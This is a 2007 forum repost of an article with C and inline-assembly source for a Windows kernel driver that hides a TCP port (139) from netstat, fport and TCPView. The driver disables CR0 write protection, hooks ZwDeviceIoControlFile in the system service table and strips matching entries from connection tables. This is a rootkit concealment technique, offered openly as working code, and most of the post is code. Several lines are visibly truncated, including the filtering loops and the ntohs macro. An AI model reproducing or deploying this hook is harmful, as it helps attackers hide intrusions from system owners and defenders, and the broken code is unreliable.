首页
社区
课程
招聘
[转帖]Hook 系统服务隐藏端口
发表于: 2007-11-10 23:59 6097

[转帖]Hook 系统服务隐藏端口

2007-11-10 23:59
6097
有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。  
netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ,向设备对象 Device\Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ,然后对得到的结果做一些处理,弄掉不希望出现的端口信息就可以了。不过真正的问题在于,IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义,参数含义目前都(大部分)是未公开,没人知道的,也就是Undocumented的。Undocumented?? ring3调试,我熟啊。ring0调试,我熟啊。Windows驱动,我熟啊。Windows系统,我熟啊。我怕谁啊我。Undocumented?? 爽,要的就是Undocumented。  

通过ring3调试,分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数,结合msdn中的一些信息,于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目,写好了Hook部分。  

关于本例中使用的解决Hook在各种Windows版本下运行的方法,在很多地方很多地方都出现了,我不清楚最早是谁想出来的,我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。  

下面是实现源码,很简单,我就不多说什么了。  
#if 0 //================================================================  
Copyright (c) JIURL, All Rights Reserved  
========================================================================  

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/  

Module Name:  

Jiurl_tcpioctl.h  

About:  

- 这个驱动项目由一个我写的 AppWizard 创建。  
- 有偿定制 AppWizard ,请发邮件联系 。  

Comments:  

本文件中的所有内容目前都是未公开的,由我分析得出,是隐藏端口的关键内容。  
Undocumented?? 爽!要的就是 Undocumented 。  

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/  
#endif  

// jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011  
// jiurl // 所以我根据 RFC 2022 ,仿 IPSNMPInfo, 定义结构 TCPSNMPInfo  
// jiurl // 再通过一些分析得到一些扩展部分的定义  

typedef struct TCPSNMPInfo {  
ULONG tcpsi_RtoAlgorithm;  
ULONG tcpsi_RtoMin;  
ULONG tcpsi_RtoMax;  
ULONG tcpsi_MaxConn;  
ULONG tcpsi_ActiveOpens;  
ULONG tcpsi_PassiveOpens;  
ULONG tcpsi_AttemptFails;  
ULONG tcpsi_EstabResets;  
ULONG tcpsi_CurrEstab;  
ULONG tcpsi_InSegs;  
ULONG tcpsi_OutSegs;  
ULONG tcpsi_RetransSegs;  
ULONG tcpsi_unknown1;  
ULONG tcpsi_unknown2;  
ULONG tcpsi_numconn;  
} TCPSNMPInfo;  

#define tcpRtoAlgorithm_other 1 // none of the following  
#define tcpRtoAlgorithm_constant 2 // a constant rto  
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B  
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm  

#define TCP_MIB_STATS_ID 1  
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101  
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102  

typedef struct TCPAddrEntry {  
ULONG tae_ConnState;  
ULONG tae_ConnLocalAddress;  
ULONG tae_ConnLocalPort;  
ULONG tae_ConnRemAddress;  
ULONG tae_ConnRemPort;  
} TCPAddrEntry;  

#define tcpConnState_closed 1  
#define tcpConnState_listen 2  
#define tcpConnState_synSent 3  
#define tcpConnState_synReceived 4  
#define tcpConnState_established 5  
#define tcpConnState_finWait1 6  
#define tcpConnState_finWait2 7  
#define tcpConnState_closeWait 8  
#define tcpConnState_lastAck 9  
#define tcpConnState_closing 10  
#define tcpConnState_timeWait 11  
#define tcpConnState_deleteTCB 12  

typedef struct TCPAddrExEntry {  
ULONG tae_ConnState;  
ULONG tae_ConnLocalAddress;  
ULONG tae_ConnLocalPort;  
ULONG tae_ConnRemAddress;  
ULONG tae_ConnRemPort;  
ULONG pid;  
} TCPAddrExEntry;  

#if 0 //================================================================  
Copyright (c) JIURL, All Rights Reserved  
========================================================================  

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/  

Module Name:  

JiurlPortHide.h  

About:  

- 这个驱动项目由一个我写的 AppWizard 创建。  

[ HomePage ] 072K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6A6N6i4u0D9i4K6u0W2P5h3g2S2K9q4)9J5k6h3&6W2N6l9`.`.  
~~~~~~~~~~~~~~~~~~~~~  
[ Email ] jiurl@mail.china.com  
~~~~~~~~~~~~~~~~~~~~  
[ Forum ] 230K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6A6N6i4u0D9i4K6u0W2j5$3!0K6L8$3k6@1i4K6u0W2L8%4u0Y4i4K6u0W2j5$3&6Q4x3V1k6X3L8%4u0#2L8g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  

- 有偿定制 AppWizard ,请发邮件联系 。  

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/  
#endif  

#define PORTHIDE 139  

#pragma pack(1)  
typedef struct ServiceDescriptorEntry {  
unsigned int *ServiceTableBase;  
unsigned int *ServiceCounterTableBase; //Used only in checked build  
unsigned int NumberOfServices;  
unsigned char *ParamTableBase;  
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;  
#pragma pack()  

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;  

NTSYSAPI  
NTSTATUS  
NTAPI  
ZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO_STATUS_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
);  

typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO_STATUS_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
);  

ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile;  

void DriverUnload(IN PDRIVER_OBJECT DriverObject);  

NTSTATUS  
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);  

NTSTATUS NewZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO_STATUS_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
);  

// jiurl // from addrconv.cpp  
#define ntohs(s) \  
( ( ((s) >> 8) & 0x00FF ) | \  
( ((s)   

#include "JiurlPortHide.h"  
#include "Jiurl_tcpioctl.h"  

#ifdef __cplusplus  
}  
#endif  

NTSTATUS  
DriverEntry(IN PDRIVER_OBJECT DriverObject,  
IN PUNICODE_STRING RegistryPath)  
{  
DbgPrint("JiurlPortHide: Hello,This is DriverEntry!\n");  

DriverObject->MajorFunction[IRP_MJ_CREATE] =  
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch;  
DriverObject->DriverUnload = DriverUnload;  

// save old system call locations  
OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);  

_asm  
{  
CLI //dissable interrupt  
MOV EAX, CR0 //move CR0 register into EAX  
AND EAX, NOT 10000H //disable WP bit  
MOV CR0, EAX //write register back  
}  

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile;  

_asm  
{  
MOV EAX, CR0 //move CR0 register into EAX  
OR EAX, 10000H //enable WP bit  
MOV CR0, EAX //write register back  
STI //enable interrupt  
}  

return STATUS_SUCCESS;  
}  

NTSTATUS  
DriverDispatch(  
IN PDEVICE_OBJECT DeviceObject,  
IN PIRP Irp  
)  
{  
Irp->IoStatus.Status = STATUS_SUCCESS;  
IoCompleteRequest (Irp,IO_NO_INCREMENT);  
return Irp->IoStatus.Status;  
}  

void DriverUnload(IN PDRIVER_OBJECT DriverObject)  
{  
DbgPrint("JiurlPortHide: Bye,This is DriverUnload!\n");  

_asm  
{  
CLI //dissable interrupt  
MOV EAX, CR0 //move CR0 register into EAX  
AND EAX, NOT 10000H //disable WP bit  
MOV CR0, EAX //write register back  
}  

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile;  

_asm  
{  
MOV EAX, CR0 //move CR0 register into EAX  
OR EAX, 10000H //enable WP bit  
MOV CR0, EAX //write register back  
STI //enable interrupt  
}  
}  

NTSTATUS NewZwDeviceIoControlFile(  
IN HANDLE FileHandle,  
IN HANDLE Event OPTIONAL,  
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,  
IN PVOID ApcContext OPTIONAL,  
OUT PIO_STATUS_BLOCK IoStatusBlock,  
IN ULONG IoControlCode,  
IN PVOID InputBuffer OPTIONAL,  
IN ULONG InputBufferLength,  
OUT PVOID OutputBuffer OPTIONAL,  
IN ULONG OutputBufferLength  
)  
{  
NTSTATUS rc;  

rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) (  
FileHandle,  
Event,  
ApcRoutine,  
ApcContext,  
IoStatusBlock,  
IoControlCode,  
InputBuffer,  
InputBufferLength,  
OutputBuffer,  
OutputBufferLength  
);  

if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)  
{  
return(rc);  
}  

TCP_REQUEST_QUERY_INFORMATION_EX req;  
TCPAddrEntry* TcpTable;  
TCPAddrExEntry* TcpExTable;  
ULONG numconn;  
LONG i;  

DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n");  

if( NT_SUCCESS( rc ) )  
{  
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;  
req.ID.toi_entity.tei_instance = 0;  
req.ID.toi_class = INFO_CLASS_PROTOCOL;  
req.ID.toi_type = INFO_TYPE_PROVIDER;  
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;  

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )  
{  
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);  
TcpTable = (TCPAddrEntry*)OutputBuffer;  

for( i=0; iInformation = numconn*sizeof(TCPAddrEntry);  
return(rc);  
}  

req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;  

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )  
{  
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);  
TcpExTable = (TCPAddrExEntry*)OutputBuffer;  

for( i=0; iInformation = numconn*sizeof(TCPAddrExEntry);  
return(rc);  
}  
}  

return(rc);  
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
2007-11-11 12:38
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
2007-11-11 14:16
0
游客
登录 | 注册 方可回帖
返回